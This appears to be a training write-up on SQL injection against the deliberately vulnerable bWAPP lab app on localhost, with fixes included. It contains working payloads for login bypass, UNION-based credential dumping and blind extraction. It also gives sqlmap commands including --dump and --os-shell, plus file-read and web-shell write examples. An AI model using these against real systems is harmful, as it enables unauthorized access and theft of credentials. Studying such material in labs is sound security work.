🧪 03 — SQL Injection (GET, POST, Login, Blind)

SQL Injection — All Types

OWASP: A03 - Injection | **CWE**: CWE-89 | **Severity**: 🔴 Critical

---

📖 Description

SQL Injection occurs when untrusted user input is inserted into SQL queries without proper sanitization. Attackers can manipulate queries to bypass authentication, dump the entire database, read files, or even execute OS commands through the database engine (e.g., MySQL's `INTO OUTFILE`).

🔍 Affected Endpoints

```
http://localhost/bWAPP/sqli_1.php          (GET - string)
http://localhost/bWAPP/sqli_2.php          (GET - numeric)
http://localhost/bWAPP/sqli_6.php          (POST)
http://localhost/bWAPP/sqli_13.php         (Login form)
http://localhost/bWAPP/sqli_15.php         (Blind - Boolea
n)
http://localhost/bWAPP/sqli_16.php         (Blind - Time-ba
sed)
```

⚠️ Security Level: LOW

GET-Based String Injection

```
URL: http://localhost/bWAPP/sqli_1.php?title=iron+man&actio
n=search
```

PoC — Error-Based Detection

```
'
''
' OR '1'='1
' OR 1=1--
' OR 1=1#
```

PoC — UNION-Based Extraction

```
# Step 1: Find number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--      <- if error: 3 columns exist

# Step 2: Find output columns
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,2,3--

# Step 3: Extract database info
' UNION SELECT 1,database(),3--
' UNION SELECT 1,user(),3--
' UNION SELECT 1,version(),3--

# Step 4: List all databases
' UNION SELECT 1,schema_name,3 FROM information_schema.sche
mata--

# Step 5: List tables
' UNION SELECT 1,table_name,3 FROM information_schema.table
s WHERE table_schema=database()--

# Step 6: List columns
' UNION SELECT 1,column_name,3 FROM information_schema.colu
mns WHERE table_name='users'--

# Step 7: Dump credentials
```

```
' UNION SELECT 1,login,password FROM users--
' UNION SELECT 1,CONCAT(login,':',password),3 FROM users--
```

PoC — Login Bypass

```
# Username field payloads
admin'--
admin'#
' OR '1'='1'--
' OR 1=1--
admin' OR '1'='1
any' OR 'x'='x

# Both fields
Username: admin'--
Password: anything
```

Automated SQLMap

```
# Basic dump
sqlmap -u "http://localhost/bWAPP/sqli_1.php?title=iron+man
&action=search" --dbs

# Dump specific DB
sqlmap -u "http://localhost/bWAPP/sqli_1.php?title=iron+man
&action=search" -D bwapp --tables

# Dump users table
sqlmap -u "http://localhost/bWAPP/sqli_1.php?title=iron+man
&action=search" -D bwapp -T users --dump

# With cookie (if logged in)
sqlmap -u "http://localhost/bWAPP/sqli_1.php?title=iron&act
ion=search" --cookie="PHPSESSID=xxx; security_level=0" --db
s

# POST injection
```

```
sqlmap -u "http://localhost/bWAPP/sqli_6.php" --data="title
=iron&action=search" --dbs

# Login form
sqlmap -u "http://localhost/bWAPP/sqli_13.php" --data="logi
n=admin&password=test&security_level=0&form=submit" -p logi
n --dbs

# OS shell (if MySQL has FILE privilege)
sqlmap -u "http://localhost/bWAPP/sqli_1.php?title=iron&act
ion=search" --os-shell
```

⚠️ Security Level: MEDIUM

Defense Applied

`mysql_real_escape_string()` is used to escape special characters like `'`, `"`, `\`.

Bypass Techniques

```
# Integer injection (no quotes needed)
http://localhost/bWAPP/sqli_2.php?movie=1 OR 1=1
http://localhost/bWAPP/sqli_2.php?movie=1 UNION SELECT 1,2,
3--

# Hex encoding
1 UNION SELECT 1,0x61646d696e,3--   (hex for 'admin')

# Comment variations
1 UNION SELECT 1,user(),3-- -
1 UNION SELECT 1,user(),3/*
```

⚠️ Security Level: HIGH

Defense Applied

Parameterized queries (prepared statements) using PDO or MySQLi.

Secure Code

```
$stmt = $pdo->prepare('SELECT * FROM movies WHERE title =
?');
$stmt->execute([$title]);
```

Result

All SQL metacharacters are treated as data, not SQL syntax. Injection is fully prevented.

🔥 Blind SQL Injection

Boolean-Based Blind

```
# True condition (page loads normally)
1' AND 1=1--

# False condition (page changes / empty result)
1' AND 1=2--

# Extract DB name character by character
1' AND SUBSTRING(database(),1,1)='b'--
1' AND SUBSTRING(database(),1,1)='c'--

# Binary search method
1' AND ASCII(SUBSTRING(database(),1,1))>100--
1' AND ASCII(SUBSTRING(database(),1,1))>98--
```

Time-Based Blind

```
# If injection works, page delays 5 seconds
1' AND SLEEP(5)--
1'; WAITFOR DELAY '0:0:5'--  (MSSQL)

# Extract data via timing
1' AND IF(SUBSTRING(database(),1,1)='b', SLEEP(5), 0)--
```

SQLMap for Blind

```
sqlmap -u "http://localhost/bWAPP/sqli_15.php?title=1&actio
n=search" --technique=B --dbs
sqlmap -u "http://localhost/bWAPP/sqli_16.php?title=1&actio
n=search" --technique=T --dbs
```

📊 Impact Analysis

Impact	Description
Auth Bypass	Login without credentials
Data Exfiltration	Dump entire database
File Read	`LOAD_FILE('/etc/passwd')`
File Write	`INTO OUTFILE '/var/www/shell.php'`
OS Command	`xp_cmdshell` (MSSQL)

✅ Remediation

1. **Prepared Statements** — always use parameterized queries
2. **ORM** — use frameworks with built-in ORM (Laravel Eloquent, Hibernate)
3. **Input Validation** — whitelist expected input patterns
4. **Least Privilege DB User** — app DB user should not have FILE or DROP permissions
5. **WAF** — deploy a Web Application Firewall
6. **Error Handling** — never expose SQL errors to users

```
// Secure parameterized query
$stmt = $pdo->prepare('SELECT * FROM users WHERE login=? AN
D password=?');
$stmt->execute([$login, $password]);
```

📚 References

- CWE-89: https://cwe.mitre.org/data/definitions/89.html

- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- SQLMap Docs: https://sqlmap.org